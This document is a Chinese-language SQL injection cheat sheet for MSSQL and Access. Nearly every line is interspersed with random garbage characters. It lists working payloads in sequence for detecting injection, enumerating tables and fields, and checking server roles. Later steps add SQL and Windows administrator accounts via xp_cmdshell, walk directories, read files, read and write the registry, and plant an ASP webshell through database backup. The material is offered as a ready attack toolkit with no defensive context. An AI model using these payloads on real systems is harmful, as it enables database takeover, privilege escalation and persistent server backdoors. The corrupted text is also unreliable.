1.判断是否有注入;and 1=1 ;and 1=2 dR i6
2.初步判断是否是mssql ;and user>0 U`N?<zm<oO
Ax|'uvVAPT
3.注入参数是字符'and [查询条件] and ''=' I`xC0ZUKj
[x?9<#T
4.搜索时没过滤参数的'and [查询条件] and '%25'=' _3u3b/%J?
`Gxb98h/r
5.判断数据库系统 [e\IHakj
~ecN4Oo4q;
;and (select count(*) from sysobjects)>0 mssql ?.ObHV*k
x_8sV?F
;and (select count(*) from msysobjects)>0 access ~%tVb c
6;~V@t
o
S{hv:)>
b!MN QGs
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1Cc91
/xSJljexz
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {B#w9>'b
zGme}z;1@
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 KN@ [hb7%
i.K!;E>
9.(1)猜字段的ascii值(access) r25VcY
LdOqV'&r
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 !iHC++D
NG\'Ii:-J
(2)猜字段的ascii值(mssql) e|SNb*_
'G[G;?F
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 H{_D#It
5`}za-
10.测试权限结构(mssql) O)R}|
$uwz`N:
b'FTyi
e7n0=U0
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- TSJeS`I
C:AV?
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- wYFkGih
UZ<.R"aK
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- C_;nlG6
VNz?e&>
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- _ZJQE>]nWu
v}5YUM0H `
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- m' j1
g>7i2
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- "tOm
REcKfJTj
;and 1=(select IS_MEMBER('db_owner'));-- bFG?mG:
9A{D<h}yk
n}9<7e~/
8t< X
11.添加mssql和系统的帐户 ,[N(XstI
Q|VBH5}1O
;exec master.dbo.sp_addlogin username;-- ON{a'H
;exec master.dbo.sp_password null,username,password;-- q b=%W
1DU
l<&4
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ,QA=)~;D
KDf#e3
;exec master.dbo.xp_cmdshell 'net user username password 9 M?UPE
5D-as9k*
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- q$H@W.f
2ZbSdaM=
;exec master.dbo.xp_cmdshell 'net user username password /add';-- eC 2~&:$L
sAjUX.c
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- jpXbFWgN
iBWEZw)
ME)='~E
W! |_ hL
12.(1)遍历目录 Bn.R,B0PL
E@Ewx;P5
;create table dirs(paths varchar(100), id int) !z:j-gT3
B4zuWCE@
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5KTFf6Uq
?|`n&HrP
;and (select top 1 paths from dirs)>0 PxWH)4
gDw(_KC
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &_@M
6[-
U0|bKU
#PC*l\
)
DqI "B
(2)遍历目录 "9X(.v0ze
8"LM:0x
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- [EVyCIcY,h
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &{# 6Z
5yJ~ q
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 b9wC:NgQx
]f`UflMO8
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 GVf[H2%H
s/3sOb}sA
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 "-5FUKI-
pp#!sRUKPV
-nD}k
3qV~C{S
13.mssql中的存储过程 o5+7Lt]
hr&UD| E=
xp_regenumvalues 注册表根键, 子键
31]Vo;D
tp ky
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ljg6uz1v%
`USze0"t0:
xp_regread 根键,子键,键值名 Q2m 5&yy@s
.G<Or`K^i
;exec xp_regread iHdX
<P*7u\9&
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 tqt~F2u
<I?f=[
xp_regwrite 根键,子键, 值名, 值类型, 值 =8]Ru(#Ig
b
ts*qx&)
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 PKGqu,J,
`sv]/8RN
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;s4e8![o3
b+dmJ]c
xp_regdeletevalue 根键,子键,值名 HR
h9nh9a(2
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 hA`9[58/
:efDPNm5
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 e9CvdR
qr*e9Uk^
_jVJkg)]
,[_)BM
14.mssql的backup创建webshell Kr4%D*
daf-B-
use model -O@/S9]S)
6hFs{P7
create table cmd(str image); Idj Z2)$
OaByfo<S
insert into cmd(str) values (''); mndEB!b
,yfJjV*I
backup database model to disk='c:\l.asp'; g ZES}]N
YR)^F|G
:X 1Y
#TgP:t]p
15.mssql内置函数 +\vN#xDz
cvpZF5mL]U
;and (select @@version)>0 获得Windows的版本号 (5 RZLRn
&k(tDP
;and user_name()='dbo' 判断当前系统的连接用户是不是sa )1)&fN41i#
IJ{VCzi
;and (select user_name())>0 爆当前系统的连接用户 Z#GR)jb+
\x_$Pu
;and (select db_name())>0 得到当前连接的数据库 0U2dNLc
On+0@hh
])zpx-
]go.IfH
16.简洁的webshell LH~
t5
iZ(p]0aP7
use model u^L_X A
X(]J\?n'
create table cmd(str image); 6fT^t!<i
{#+'T 13sx
insert into cmd(str) values (''); ,(+ZD@Rg
s21)*d
backup database model to disk='g:\wwwtest\l.asp';